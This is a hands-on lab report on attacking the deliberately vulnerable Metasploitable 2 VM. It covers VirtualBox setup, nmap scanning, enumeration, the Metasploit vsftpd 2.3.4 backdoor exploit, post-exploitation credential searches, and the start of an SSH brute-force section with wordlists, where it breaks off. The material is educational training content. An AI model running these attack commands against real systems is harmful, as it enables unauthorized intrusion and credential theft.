Metasploitable 2 Lab Report

Metasplotable2 Lab

Hands-On Report

Table of Contents

7. **Additional Service Exploits (Brief Summary)**
    - 7.1 Tomcat (WAR Upload Manager Exploit)
    - 7.2 distcc (Remote Command Execution)
    - 7.3 Samba (SMB Enumeration and usermap_script Exploit)
    - 7.4 VNC (Weak Password Access)
    - 7.5 PostgreSQL (Weak Credential Testing)
8. **Post-Exploitation and Analysis**
    - 8.1 System Enumeration Commands
    - 8.2 Privilege Escalation Observation
    - 8.3 Data Collection and Evidence Handling
    - 8.4 Snapshot Reversion and Cleanup
9. **Findings and Remediation**
    - 9.1 Summary of Vulnerabilities Found
    - 9.2 Potential Impact and Mitigation Steps
10. **Lessons Learned and Conclusion**

- 10.1 Key Takeaways
- 10.2 Skills Developed
- 10.3 Future Scope and Ethical Reflection

1. Introduction

1.1 Objective of the Documentation

The main goal of this documentation is to provide a comprehensive, step-by-step record of setting up, performing, and analyzing a complete penetration-testing workflow on the *Metasploitable 2* virtual machine.
It captures both the theoretical understanding and the practical implementation of key ethical-hacking phases — **reconnaissance, enumeration, exploitation, and post-exploitation** — using an isolated lab environment.
The report aims to:

- Demonstrate safe, ethical use of offensive-security tools for educational purposes.
- Build a repeatable structure for vulnerability discovery and documentation.
- Connect classroom concepts of system exploitation with real, observable behavior in a controlled environment.

1.2 Overview of Metasploitable 2

Metasploitable 2 is a **deliberately vulnerable Linux-based virtual machine** designed by Rapid7 for cybersecurity training and research.
It contains numerous outdated and intentionally misconfigured services such as **FTP, SSH, Telnet, Apache, Tomcat, Samba, VNC, PostgreSQL,** and more, each exposing known historical vulnerabilities.

In essence, Metasploitable 2 functions as a "digital crash-test dummy."
Security learners and professionals use it to:

- Practice discovering and exploiting real CVEs without harming production systems.
- Study how weak configurations, default credentials, and unpatched software lead to system compromise.
- Understand attacker workflows, defensive monitoring, and patch-management strategies.

Real-World Relevance:
In corporate networks, many legacy systems still run outdated software for compatibility or cost reasons.
The same vulnerabilities present in Metasploitable 2 (for example, the *vsftpd 2.3.4* backdoor or *Tomcat manager weak credentials*) have been exploited in real cyber-attacks.
By safely experimenting with these weaknesses, students learn how to identify, mitigate, and report them responsibly.

1.3 Purpose of the Lab & Real-World Relevance

The purpose of this lab is to simulate a controlled offensive-security assessment where the participant acts as both **attacker** and **defender**.
Through this lab:

- The **attacker VM (Kali Linux)** is used to perform reconnaissance, enumeration, and exploitation.
- The **target VM (Metasploitable 2)** represents a vulnerable organization's server.

By recreating realistic exploitation scenarios, the lab bridges the gap between theoretical vulnerability lists and actual hands-on attacks.
Such practice is vital for security analysts, penetration testers, and students preparing for certifications like CEH, eJPT, or OSCP.

1.4 Ethical and Safety Considerations

Before performing any form of penetration testing, ethical guidelines must be strictly followed.

Key Safety Rules Implemented:

1. **Isolated Network:**
   Both attacker and target VMs were placed in a *Host-Only* or *Bridged* network that is completely separated from the internet to avoid accidental traffic leakage.
2. **Authorized Environment:**
   All experiments were conducted on self-owned machines; no external systems were scanned or attacked.
3. **Snapshots and Reversion:**
   VirtualBox snapshots were taken before each exploit, ensuring quick recovery and preventing persistent compromise.
4. **No Data Exfiltration:**
   Only public, intentionally vulnerable data was accessed; no real or personal data was used.
5. **Educational Intent:**
   The purpose of every exploitation was *learning defensive strategies* — understanding how attackers operate helps defenders design stronger protections.

⚠ **Disclaimer:**
The methods and commands discussed in this report are solely for educational and research purposes within an authorized lab setup.
Attempting to apply these techniques on live networks or unauthorized systems is illegal and unethical.

---

2. Lab Setup and Configuration

2.1 Host Environment and Tools Used (Overview)

Host machine (example):

- OS: Windows 10 / Windows 11 / Linux (Ubuntu/Fedora) — any modern desktop OS that can run VirtualBox.

Virtualization platform:

- VirtualBox (version ≥ 6.x recommended) — free and well-supported.

Attacker VM (Kali Linux) — recommended tools to install

- nmap, metasploit-framework, gobuster, nikto, hydra, john, dnsenum, sqlmap, wireshark, netcat, sshpass, gobuster, dirbuster, curl, python3.
- Install commands (Debian-based / Kali):

```
sudo apt update && sudo apt upgrade -y
sudo apt install -y nmap metasploit-framework gobuster nikto hydra john
wireshark netcat-openbsd sshpass curl python3 python3-pip
# For gobuster wordlists (if not present)
sudo apt install -y wordlists
```

(On Kali, many tools are preinstalled; run the `apt` commands to ensure updated versions.)

Target VM

- Metasploitable2 (download OVA/VM image). This VM intentionally contains vulnerable services for learning.

Optional utilities

- VirtualBox Guest Additions on Kali (for clipboard, fullscreen) — *do not* install Guest Additions on Metasploitable2 (preserve vulnerability footprint).
- Git (for repo management), unzip, python (for parsing logs if needed).

2.2 Creating Virtual Machines (Attacker & Target)

A. Import Metasploitable2 (Target)

1. Download the Metasploitable2 OVA from a trusted source (Rapid7/archive mirror).
2. In VirtualBox: `File → Import Appliance…` → Select the OVA → Import.

3. When importing, confirm display name (e.g., `Metasploitable2`) and network adapter defaults — we'll adjust network after import.

B. Create / Import Kali (Attacker)

- Either import the Kali OVA (official) or create a new VM and install Kali ISO. Name it `Kali-Attacker`.
- Recommended minimum allocation for Kali (for lab): **2 GB RAM** (4 GB preferred), **1–2 vCPUs**, **20–40 GB disk** (thin provision).

C. Recommended VM Resource Settings (both accessible via VirtualBox → Settings → System / Display / Storage)

- **Kali (attacker)**:
  - RAM: 2048–4096 MB
  - CPUs: 2 (or more if host allows)
  - Video memory: 64–128 MB
  - Network Adapter 1: Bridged Adapter or Host-only Adapter (see section 2.3)
- **Metasploitable2 (target)**:
  - RAM: 512–1024 MB (it's intentionally light)
  - CPUs: 1
  - Do not install guest additions (preserves vulnerable environment)
  - Network Adapter 1: same network as Kali (Bridged or Host-only)

Notes

- If you plan to access the target from other machines on the LAN, use Bridged Adapter. To fully isolate the lab from your LAN, use Host-Only Network + NAT for Kali if Internet is required.
- Avoid "NAT Network" for the target if you need direct Kali ↔ Target connectivity without port forwarding complexity, unless you configure port forward rules.

2.3 Network Configuration in VirtualBox (Detailed)

You must ensure both VMs are on the **same virtual network** so the attacker can reach the target.

Options & tradeoffs

1. **Host-only Adapter** (recommended for strict isolation):
   - Creates a virtual network that is only between the host and VMs (no internet by default).
   - Use when you do not need the target to access the internet.
2. **Bridged Adapter** (realistic network):

    - Connects VM network to the host's physical network — VMs get IPs from your LAN DHCP.
    - Use if you need more realistic network behavior but be mindful of exposing VMs to your local network.
3. **NAT / NAT Network**:
    - NAT isolates but makes inbound connections to target harder (requires port-forwarding). Not ideal for direct attacker→target testing unless configured.

How to set Host-only (GUI)

- VirtualBox → `File` → `Host Network Manager` → Create a host-only network (e.g., `vboxnet0`). Configure DHCP if desired.
- For each VM: `Settings` → `Network` → Adapter 1 → `Attached to:` **Host-only Adapter** → Name: `vboxnet0`.

How to set Bridged (GUI)

- For each VM: `Settings` → `Network` → Adapter 1 → `Attached to:` **Bridged Adapter** → Name: choose the host interface (e.g., `eth0` or Wi-Fi adapter).

Promiscuous mode

- Not required for simple lab. If you plan packet capture across the virtual network, set Adapter → Advanced → Promiscuous Mode = **Allow All** (use with caution).

2.4 Snapshot Management and Restoration for Safety

Snapshots let you revert the VM to a pre-exploit state quickly.

Snapshot strategy

- **clean-import**: Immediately after importing the image (fresh baseline).
- **boot-verified**: After first boot and basic checks.
- **pre-ftp**, **pre-ssh**, **pre-telnet**, **pre-web**: before each risky exploit so you can revert.

Create a snapshot (GUI)

- Select VM → `Snapshots` → click camera icon (Take Snapshot) → Enter name (e.g., `pre-ftp`) → Add description.

Create a snapshot (VBoxManage CLI)

```
# list VMs
VBoxManage list vms
# take snapshot
VBoxManage snapshot "Metasploitable2" take pre-ftp --description "Before FTP
exploit"
```

Revert snapshot (GUI)

- Snapshots view → select snapshot → Restore.

Revert snapshot (CLI)

```
VBoxManage snapshot "Metasploitable2" restore "pre-ftp"
```

Best practices

- Always snapshot the *target* before any exploit demonstration. If you change the attacker (e.g., install tools), snapshot Kali too as needed.
- Keep snapshot names consistent and documented in your notes. Add a short description with date/time.

2.5 Connectivity Verification (Both VMs on the Same Network)

After network configuration, verify that both VMs can see each other.

Find target IP from the Target (Metasploitable2)

- Login to Metasploitable console and run:

```
# Legacy
ifconfig -a
# Modern
ip a
# Check routing / gateway
ip route
```

- Note the IP shown on the interface (e.g., `eth0: inet 192.168.xx.xx /24`); record as `<TARGET_IP>`.

Find target IP from the Attacker (Kali)

- Use ARP / ping / netdiscover:

```
# ping a likely address (if you know subnet)
ping -c 2 <TARGET_IP>.
# discover hosts on host-only network (requires arp/scan)
sudo arp-scan --interface=vboxnet0 --localnet
# or use netdiscover
sudo netdiscover -i eth0 -r 192.168.56.0/24
```

- Alternatively, if DHCP is used, inspect VirtualBox Host-only Network DHCP leases (`File → Host Network Manager`) or `VBoxManage dhcpserver` output.

Verify connectivity (from Kali)

- Ping the target:

```
ping -c 4 <TARGET_IP>
```

- Confirm open ports with a simple nmap ping scan:

```
sudo nmap -Pn -p21,22,23,80 <TARGET_IP> -sV
```

Common Issues & Fixes

- *No reply to ping*: check VM network adapter is up, ensure both are on the same virtual network type, check host firewall, ensure target OS is booted.
- *Wrong subnet*: ensure the host-only network has a matching IP range (e.g., `192.168.56.0/24`).
- *Bridged adapter issues on Wi-Fi*: some Wi-Fi adapters/drivers don't handle bridged mode well. Use host-only for guaranteed connectivity.

3. Lab Structure and Methodology

This section describes the structured testing workflow used for the Metasploitable2 lab. The lab follows the standard penetration-testing phases — **Reconnaissance → Enumeration → Exploitation → Post-Exploitation** — and applies each phase to the intentionally vulnerable services in Metasploitable2. For each phase you will find (a) a short definition, (b) what we do in the lab, (c) representative commands to run from the attacker (Kali) and (d) what to capture as evidence.

3.1 Phases of Penetration Testing in This Lab

Reconnaissance

Definition:
Reconnaissance (recon) is the initial discovery step whose goal is to learn *what exists* — live hosts, open ports, running services and their versions — without doing intrusive actions.

In the lab:
We use recon to build a quick inventory of services on Metasploitable2 (FTP, SSH, Telnet, HTTP/Tomcat, SMB, distcc, VNC, PostgreSQL, etc.). Recon identifies version strings (for example `vsftpd 2.3.4`, `Apache 2.2.8`) that we use to select targeted exploits.

Representative attacker commands (Kali):

```
# Full TCP port, OS and version probe (baseline)
sudo nmap -sS -A -T4 -p- <TARGET_IP> -oA scans/full-scan

# Focused service/version checks
sudo nmap -Pn -p21,22,23,80,139,445,3632,5900,5432 -sV -T4 <TARGET_IP> -oN
scans/focused-scan.nmap
```

What to capture:
`.nmap`/`.xml`/`.gnmap` outputs, a short inventory list (service → version), and any anomalies (closed ports that later open, weird banners).

Enumeration

Definition:
Enumeration is the targeted, service-specific probing that follows recon. The goal is to interact with services in ways that reveal configuration, directories, credentials, or other information useful for exploitation.

In the lab:
We enumerate each discovered service with focused tools — e.g., test anonymous FTP login and list files, fetch HTTP headers and run `gobuster`, enumerate SMB shares with `enum4linux`, check SSH banner and possible users.

Representative attacker commands:

```
# HTTP headers + directory brute-force
curl -I http://<TARGET_IP>/
gobuster dir -u http://<TARGET_IP>/ -w /usr/share/wordlists/dirb/common.txt -
o scans/gobuster-web.txt

# FTP anonymous login (interactive)
ftp <TARGET_IP>
# user: anonymous   pass: <email-or-blank>
```

```
# SMB enumeration
enum4linux -a <TARGET_IP> | tee scans/enum4linux.txt

# SSH banner / verbose connect
nmap -sV -p22 <TARGET_IP> -oN scans/ssh-nmap.txt
ssh -vvv msfadmin@<TARGET_IP>   # view banner (do NOT display passwords in
recordings)
```

What to capture:
Gobuster results, HTTP screenshots (phpinfo, config pages), FTP directory listings, `enum4linux` output, any files or pages that contain plaintext credentials. Save all outputs under `scans/` and screenshots under `screenshots/`.

Exploitation

Definition:
Exploitation is the attempt to leverage an identified vulnerability to gain access (command execution, shell, file read). In a lab, we use known proof-of-concepts (PoCs) or Metasploit modules against deliberately vulnerable targets.

In the lab:
Using the version information from recon/enumeration, we select an appropriate exploit (Metasploit or manual PoC). For example, `vsftpd 2.3.4` → `exploit/unix/ftp/vsftpd_234_backdoor`; `php_cgi` → `exploit/multi/http/php_cgi_arg_injection`; Tomcat manager → `tomcat_mgr_deploy`.

Representative attacker commands (Metasploit example):

```
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <TARGET_IP>
set RPORT 21
set PAYLOAD cmd/unix/interact
exploit
# after success, run:
whoami; id; uname -a
```

What to capture:
Metasploit transcript or PoC output showing "Command shell session X opened", and a small set of post-exploit verification outputs (`whoami`, `id`, `pwd`, `ls -la`, `cat /etc/issue`). Keep exploitation concise for demos: prove the exploit then exit.

Post-Exploitation

Definition:
Post-exploitation involves confirming access level, enumerating the compromised host for valuable artifacts, and demonstrating potential impact. It also includes safe cleanup (killing sessions and reverting snapshots).

In the lab:
After a successful exploit we run standard discovery to evaluate privileges and find escalation paths or sensitive files. We capture evidence and then revert to snapshot to restore a clean environment.

Representative commands (run on compromised shell):

```
whoami; id; hostname; uname -a
ps aux | head -n 20
ss -tulpen || netstat -tulpen
sudo -l
find / -perm -4000 -type f | head -n 40
grep -R "password" /var/www -n 2>/dev/null
```

What to capture & cleanup:
Save the post-exploit output under `results/`. Take screenshots of key findings. Exit the shell (`exit`), stop any listeners, and revert the target VM to the pre-exploit snapshot. Maintain raw artifacts offline and create sanitized copies for sharing (replace IPs, redact credentials).

3.2 How Each Phase Applies to the Metasploitable Environment

This subsection maps the abstract phases above to concrete examples in Metasploitable2 and describes how the intentionally vulnerable services allow safe learning of each phase.

Reconnaissance → Metasploitable examples

- **What you do:** Run `nmap` to discover services like FTP, SSH, Telnet, Apache/Tomcat, SMB, distcc, VNC, PostgreSQL.
- **Why it matters:** Version strings reported here (e.g., `vsftpd 2.3.4`, `UnrealIRCd 3.2.8.1`, `Apache 2.2.8`) are often directly tied to historical exploits. Recognizing them gives you a short list of likely PoCs to try.

Enumeration → Metasploitable examples

- **HTTP:** `curl -I` exposes `Server:` and `X-Powered-By:` which point to vulnerable PHP or Apache versions; `gobuster` uncovers phpinfo pages or test upload endpoints.
- **FTP:** The FTP service in Metasploitable often accepts anonymous login — use `ftp` client to list public files that may contain credentials or hints.

- **SMB/Tomcat:** `enum4linux` reveals SMB shares and users; Tomcat's manager is often accessible with default `tomcat:tomcat`.
- **SSH/Telnet:** Banner inspection and test logins show whether default credentials work; Telnet reveals why plaintext protocols are insecure.

These enumeration results are saved as evidence and used to pick exploitation approaches.

Exploitation → Metasploitable examples

- **vsftpd 2.3.4 backdoor:** A classic lab example — Metasploit contains an exact module; running it demonstrates remote shell acquisition.
- **UnrealIRCd backdoor:** Another intentional backdoored service; successful exploitation often yields high privileges because the daemon ran as root.
- **Tomcat manager WAR upload:** Demonstrates how weak application credentials or exposed management interfaces lead to remote code execution via WAR deployment.
- **PHP-CGI argument injection:** Shows how misconfigured web stacks lead to remote execution even without authentication.

Exploit success lines and short post-exploit commands are saved as the primary demo evidence.

Post-Exploitation → Metasploitable examples

- **Privilege verification:** After each successful exploit you run `whoami`, `id`, and `sudo -l` to determine privileges. For Tomcat and some services you may see limited user contexts (e.g., `tomcat`), while for backdoored daemons you may obtain root.
- **Artifact discovery:** Search `/var/www`, `/home` and `/etc` for plaintext credentials, configuration files, and SSH keys (`grep -R "password" /var/www -n`). These show realistic attack paths from low-privilege to higher impact.
- **Cleanup:** Revert the snapshot to remove shells, uploaded files, and ensure the next demo starts from a clean baseline.

4. IP Discovery and Network Validation (placeholder-safe)

All examples below use placeholders only. Replace the placeholders **locally** when you run the commands, but **do not** publish files containing real addresses — use the provided sanitization commands before committing any logs.

4.1 Finding Target IP from the Target Machine

Goal: determine the target VM's IP address directly from the Metasploitable console (local-only). Use placeholders in published notes.

Steps & commands (on the target VM)

1. Log in to the Metasploitable VM console in VirtualBox.
2. Run the modern interface command:

```
ip a
```

- Note the `inet` line for the active interface (e.g., `eth0`). **Record locally** as `<TARGET_IP>` for your session only (do not paste into public notes).

3. Optional: legacy command:

```
ifconfig -a
```

4. Optional: check routing:

```
ip route
```

Documentation guidance (publish-safe)
When saving notes for the repo, write:

```
Interface: eth0
IP: <TARGET_IP>
Netmask: <NETMASK>
Gateway: <GATEWAY>
Snapshot: pre-record
```

(Use placeholders — do not include the real IP in published files.)

4.2 Finding Target IP from the Attacker (Kali)

Goal: discover target IP from the attacker VM without logging into the target console. Use placeholder `<SUBNET>` or `<INTERFACE>` in saved outputs.

Methods & commands

A. VirtualBox Host-only DHCP leases (GUI/CLI)

- GUI: VirtualBox → File → Host Network Manager → check DHCP leases; record findings as `<TARGET_IP>`.
- CLI:

```
VBoxManage dhcpserver --list
```

B. ARP / Active discovery (recommended on host-only networks)

```
sudo apt install -y arp-scan     # if not installed
```

```
sudo arp-scan --interface=<INTERFACE> --localnet
```

Output will show live hosts. Identify the target and **note locally** as `<TARGET_IP>`.

C. Netdiscover

```
sudo netdiscover -i <INTERFACE> -r <SUBNET>
```

D. Nmap ping sweep (if you know subnet)

```
sudo nmap -sn <SUBNET> -oN scans/ping-sweep.nmap
```

E. Focused service sweep (if you expect service ports)

```
sudo nmap -Pn -p21,22,23,80,139,445,3632,5900,5432 --open <SUBNET> -oN
scans/service-sweep.nmap
```

5. Reconnaissance

Reconnaissance (recon) is the systematic discovery phase that answers the question: *what exists and what is visible?* In this lab recon is performed from the **attacker (Kali)** machine against the **target (Metasploitable2)**. Recon informs the next phases (enumeration → exploitation) by producing service lists, version strings, open ports, and hints about likely vulnerabilities.

5.1 Nmap Full Scan and Version Detection

Objective: discover live hosts, open ports, running services and (where possible) software versions and OS fingerprinting. Save machine-readable outputs for reproducibility and later parsing.

Primary tool: `nmap` (stable, flexible, saves outputs in multiple formats).

Recommended full-scan command (comprehensive baseline)

Use this at the start of the lab when you want a full picture of the target host:

```
sudo nmap -sS -p- -T4 -A -oA scans/<TARGET>_full-scan <TARGET_IP>
```

Explanation (single-line per option):

- `-sS` — TCP SYN scan (stealthy & fast).
- `-p-` — scan all TCP ports (1–65535).

- `-T4` — timing template (fast enough for lab).
- `-A` — enable OS detection, version detection, script scanning and traceroute.
- `-oA <basename>` — save as `<basename>.nmap`, `.xml`, `.gnmap` for auditing.

Faster / focused scans (when time or stealth matters)

- Focus on typical service ports only:

```
sudo nmap -Pn -sV -p21,22,23,80,139,445,3632,5900,5432 -T4 -oN
scans/<TARGET>_focused.nmap <TARGET_IP>
```

- Quick host discovery / ping sweep on the subnet:

```
sudo nmap -sn <SUBNET> -oN scans/ping-sweep.nmap
```

Use NSE scripts for richer data

- HTTP titles and basic web scripts:

```
sudo nmap -sV -p80,8080,8180 --script http-title,http-enum -oN scans/http-
scripts.nmap <TARGET_IP>
```

- SMB/NetBIOS:

```
sudo nmap -sV -p139,445 --script smb-enum* -oN scans/smb-scripts.nmap
<TARGET_IP>
```

- distcc-specific:

```
sudo nmap -sV -p3632 --script distcc* -oN scans/distcc-scripts.nmap
<TARGET_IP>
```

What to save (mandatory):

- `<TARGET>_full-scan.nmap` (human readable)
- `<TARGET>_full-scan.xml` (machine readable)
- `<TARGET>_full-scan.gnmap` (grepable)
- Any NSE script outputs saved via `-oN` or redirected files

5.2 Service Identification and Initial Findings

Objective: turn raw port output into a prioritized list of services and versions you will enumerate/exploit.

How to extract a useful inventory (quick checklist):

1. Open the `.nmap` or `.gnmap` file and list all `open` ports.
2. For each open port, note:
    - port number and service name (e.g., `21/tcp ftp`)
    - version string returned (e.g., `vsftpd 2.3.4`)
    - any banner text or script output that exposes credentials or config (e.g., `Server: Apache/2.2.8`)
3. Prioritize services that are:
    - Known to be vulnerable by version (e.g., vsftpd 2.3.4, UnrealIRCd 3.2.8.1)
    - Protocols that leak credentials (Telnet)
    - Management interfaces with default creds (Tomcat manager)
    - Services allowing file upload or remote builds (Tomcat WAR upload, distcc)

Example inventory (publish-safe placeholder format):

```
Discovered services on <TARGET_IP>:
- 21/tcp  ftp     vsftpd 2.3.4            -> HIGH priority (backdoor known
in lab)
- 22/tcp  ssh     OpenSSH 5.x/6.x         -> MED priority (default creds
present)
- 23/tcp  telnet  telnetd                 -> HIGH priority (plaintext auth)
- 80/tcp  http    Apache 2.2.8 + PHP      -> HIGH priority (phpinfo and CGI
possible)
- 8080/tcp tomcat  Apache Tomcat manager -> MED-HIGH (default tomcat:tomcat)
- 3632/tcp distcc service                 -> MED (distcc RCE possible)
- 139/445 smb     Samba (shares present)  -> MED (enum + writable share
check)
- 5900/tcp vnc     VNC (weak password)    -> LOW-MED (GUI access)
- 5432/tcp postgres PostgreSQL            -> LOW-MED (weak/blank creds
possible)
```

Save this inventory into `notes/<TARGET>_service_inventory.md` — this will drive your enumeration order (FTP, SSH, Telnet, HTTP first as you planned).

5.3 Interpretation of Scan Results

Objective: analyze the outputs to decide what to enumerate and what exploit modules or PoCs to try. Interpretation separates actionable findings from noise/false positives.

Key interpretation points & what they imply

1. **Version strings matter (actionable):**
   - If `nmap` reports `vsftpd 2.3.4` → try the vsftpd 2.3.4 backdoor module or manual banner fuzzing.
   - If HTTP headers show `X-Powered-By: PHP/5.x` and `Server: Apache/2.2.8` → consider older PHP-CGI issues and file upload flaws.
2. **Default credentials / weak configs (high impact):**
   - If Tomcat manager is present → check `/manager/html` for default credentials like `tomcat:tomcat`. Default creds often allow WAR deployment and RCE.
   - If SSH/Telnet allow `msfadmin/msfadmin` → immediate access to shell as that account.
3. **Unusual banners (investigate):**
   - Backdoor indicators or weird banner text (e.g., custom build names) can be supply-chain compromise examples (Metasploitable intentionally includes some).
4. **Service versions but no exploit (investigate deeper):**
   - Sometimes `nmap` returns a version but the exploit fails — verify banner manually (telnet to port), check firewall rules, or try alternative payloads.
5. **False positives & detection caveats:**
   - `-sV` is good but not perfect. For web apps, a banner may be altered by a reverse proxy. Always confirm with `curl -I` / browsing.
   - `nmap -A` runs many scripts and may generate noise; for demos, run targeted NSE scripts relevant to the service.

Decision flow for each discovered service

1. Is the service listed as `open`? → If yes, continue.
2. Does the version map to a known exploit? → Use `searchsploit` / `msfconsole search`.
3. If yes: schedule snapshot (`pre-<service>`), enumerate more deeply for prerequisites (credentials, upload endpoint), then exploit.
4. If no: still enumerate manually (headers, directories, shares) — you may find credentials or secondary vectors (file uploads, credentials in web pages).

Concrete interpretation examples for your lab

- `vsftpd 2.3.4` → direct path to `exploit/unix/ftp/vsftpd_234_backdoor`. Prioritize FTP.
- `UnrealIRCd 3.2.8.1` → write-up exists; Metasploit module `exploit/unix/irc/unreal_ircd_3281_backdoor` likely to succeed.
- `Apache 2.2.8 + PHP` with `phpinfo.php` → try `gobuster` to find admin panels and `exploit/multi/http/php_cgi_arg_injection` for PHP-CGI.
- `distcc` identified on 3632 → use distcc PoC to test RCE; ensure snapshot before running.

6. Focused Service Exploitation

6.1 FTP — `vsftpd 2.3.4` Backdoor

6.1.1 Definition of FTP and Purpose

FTP (File Transfer Protocol) is an application-layer protocol used to transfer files between hosts over TCP (default ports 20/21). FTP clients authenticate (username/password), then issue commands to list directories, upload/download files, and change working directories.
Purpose in the lab: FTP on Metasploitable2 provides a realistic, intentionally insecure service to demonstrate how misconfigured or old FTP servers expose data and how version-specific flaws (supply-chain/backdoor in `vsftpd 2.3.4`) can yield remote code execution.

6.1.2 Vulnerability Overview

- **Vulnerable component:** `vsftpd 2.3.4` (the Metasploitable2 image intentionally includes a backdoored build).
- **Type of issue:** backdoor in the server binary that spawns an interactive shell when a specially crafted username is supplied. Effectively yields **remote command execution / interactive shell**.
- **Why it matters (real-world connection):** demonstrates supply-chain compromise and the danger of relying on unverified vendor binaries/versions. Also shows how an exposed FTP daemon can be an initial foothold for attackers.

6.1.3 Recon → Enumeration → Exploitation → Post-Exploitation

Below is the exact, repeatable flow used in the lab. All commands use placeholders — replace `<TARGET_IP>` and `<KALI_IP>` **locally only** when you run them; do **not** publish real addresses. File outputs and screenshots should be sanitized before publishing.

A. Snapshot (safety)

Action: On the *target* VM (Metasploitable2) take a snapshot named `pre-ftp`.
Why: Allows revert to clean state removing any shells or uploaded files after the demo.

B. Recon (service discovery)

Goal: confirm FTP is running and identify the version banner.

Commands (run on Kali attacker):

```
# Focused nmap service/version scan for FTP port
sudo nmap -Pn -p21 -sV -oN scans/ftp-nmap.nmap <TARGET_IP>
```

What it does: Scans port 21 and performs service/version detection to capture the banner (e.g., `vsftpd 2.3.4`).
What to save: `scans/ftp-nmap.nmap` (or sanitized copy).

Single-line explanation: `nmap -sV` reveals service and version strings you use to choose exploits.

C. Enumeration (FTP-specific probing)

Goal: check anonymous login, list files, and collect any exposed files or credentials.

Commands and steps (interactive and non-interactive examples):

1. **Interactive FTP client** (list files, test anonymous):

```
ftp <TARGET_IP>
# when prompted:
# user: anonymous
# pass: <email-or-blank>
# ftp> ls
# ftp> get welcome.msg
# ftp> quit
```

- **What it does:** opens an FTP session; testing `anonymous` verifies public exposure.
- **Why:** anonymous login may reveal files or config data useful for attacking other services.

2. **Banner verification (alternate)**:

```
nc -v -w 3 <TARGET_IP> 21
# or
telnet <TARGET_IP> 21
```

- **What it does:** connects raw to port 21 to view banner string directly. Useful if nmap banner differs.

3. **Confirm FTP version with nmap grep:**

```
grep -i "vsftpd" scans/ftp-nmap.nmap || true
```

- **What it does:** quickly show the vsftpd banner line in the saved scan.

What to capture: FTP session transcript/screenshots, any files downloaded (e.g., `welcome.msg`), sanitized notes indicating `anonymous login: SUCCESS` or `FAIL`.

Single-line enumeration summary: test anonymous login, list directory contents, and capture the FTP banner for version confirmation.

D. Exploitation (Metasploit module: `vsftpd_234_backdoor`)

Goal: trigger the vsftpd 2.3.4 backdoor to gain an interactive shell on the target.

Preparation on Kali (start Metasploit):

```
sudo msfconsole -q
```

Module selection and run (in `msfconsole`):

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <TARGET_IP>
set RPORT 21
set PAYLOAD cmd/unix/interact
exploit
```

What it does: the module sends a specially crafted username (per the backdoor behavior) that causes the vsftpd server to spawn a shell; `PAYLOAD cmd/unix/interact` gives an interactive command shell.

Representative success output (what to capture):

```
[*] Sending exploit...
[*] Command shell session 1 opened (<KALI_IP>:<LPORT> ->
<TARGET_IP>:<ephemeral>)
```

Post-exploit first verification (run inside shell):

```
whoami
id
pwd
uname -a
ls -la
cat /etc/issue
```

What to capture: msfconsole transcript showing `Command shell session X opened`, screenshot of `whoami` / `id` output saved to `results/ftp-post.txt`.

Single-line explanation: the Metasploit module automates the backdoor trigger and provides an interactive shell to confirm remote code execution.

E. Post-Exploitation (minimal, focused)

Goal: confirm the level of access, gather basic system info, check for further escalation vectors, save outputs, and then cleanup.

Minimal recommended commands to run in the gained shell:

```
whoami                # confirm username
id                    # show UID/GID and group memberships
uname -a              # kernel & architecture info
pwd                   # current working directory
ls -la /              # quick root listing
ps aux | head -n 20    # top processes
ss -tulpen || netstat -tulpen  # open network sockets (if available)
sudo -l               # check for sudo rights (if binary present)
find / -perm -4000 -type f | head -n 40  # find SUID files
grep -R --binary-files=without-match -i "password\|passwd\|secret" /var/www
/home /etc 2>/dev/null | tee results/ftp-possible-credentials.txt
```

Why these commands: they establish what user you are and list potential escalation paths (SUID files, sudo rights), services running, and possible credentials/configs to pivot with.

Capture & artifact guidance:

- Save a file `results/ftp-post.txt` containing the outputs of the above commands.
- Take a screenshot of `whoami`/`id` showing the compromised user (crop or redact IPs).
- Note snapshot name used (`pre-ftp`) in the result header.

Cleanup (mandatory):

1. Exit the shell cleanly:

```
exit
```

2. Kill any listeners on the attacker if you started interactive handlers.
3. Revert the **target** VM to the `pre-ftp` snapshot to remove any shells and state changes.

Single-line cleanup note: always revert snapshot after capturing evidence to restore the clean lab baseline.

6.2 SSH (OpenSSH — default/weak credentials)

Scope: This section describes SSH in the Metasploitable2 lab (attacker = `ATTACKER_IP`, target = `TARGET_IP`). All commands use placeholder IPs and local file paths; do **not** expose real lab IPs in reports. Follow snapshots and legal/ethical rules before any testing.

Definition & Purpose

SSH (Secure Shell) is a protocol for secure remote login and command execution over an encrypted channel.
Purpose: provide remote, authenticated administration, file transfer (SFTP/SCP), and tunneling.

Vulnerability Details (Why SSH is interesting in this lab)

- Metasploitable2 typically contains **weak/default credentials** (e.g., `msfadmin:msfadmin`) rather than an exploitable SSH bug — this makes it ideal for teaching credential discovery, brute-force risks, and legacy-host-key negotiation issues.
- Older OpenSSH versions in the lab may use deprecated host-key algorithms (e.g., `ssh-rsa`) causing modern clients to fail negotiation unless explicitly allowed.
- Real-world relevance: credential reuse, weak passwords, and misconfigured authentication are common causes of compromise; labs show how attackers can move laterally when credentials are weak.

Lab Flow: Snapshot → Recon → Enumeration → Exploitation → Post-exploitation → Cleanup

Preparatory step — Snapshot

- **Action:** Take a VM snapshot on the target named `pre-ssh`.
- **Why:** Restore a known-good state after exploitation and for repeatable demos.

Recon

Goal: confirm SSH is running and get version/banner.

1. `nmap -Pn TARGET_IP -p 22 -sV -oN ssh-recon.txt`
   One-line: Scan port 22 (skip host discovery) and save results with version detection.
2. *(optional banner only)* `nc -vn TARGET_IP 22`
   One-line: Open a TCP connection to show the SSH banner (quick banner check).

What to look for: output showing `22/tcp open ssh OpenSSH X.Y` or similar — note version string for troubleshooting host-key algorithms.

Enumeration

Goal: prepare wordlists and test discovery methods.

1. Create small user list:

```
cat > ~/ssh_users.txt <<'USERS'
msfadmin
root
admin
user
USERS
```

   One-line: Create a minimal username list used by brute-force tools.

8. Create small password list:

```
cat > ~/ssh_pass.txt <<'PASSES'
 msfadmin
 password
 123456
 toor
 PASSES
```

   One-line: Create a quick password list for lab brute-force.

15. (Optional) `ssh-keyscan -t rsa TARGET_IP`
    One-line: Retrieve the target host key fingerprint(s) for verification or troubleshooting.

Exploitation (Credential discovery / brute-force demonstration)

Note: perform only in your isolated lab with permission. Brute forcing is noisy and should be time-limited.

A — Using Metasploit auxiliary scanner (as in your notes)

1. `sudo msfconsole -q`
   One-line: Start Metasploit quietly to run modules.
2. `use auxiliary/scanner/ssh/ssh_login`
3. `set RHOSTS TARGET_IP`
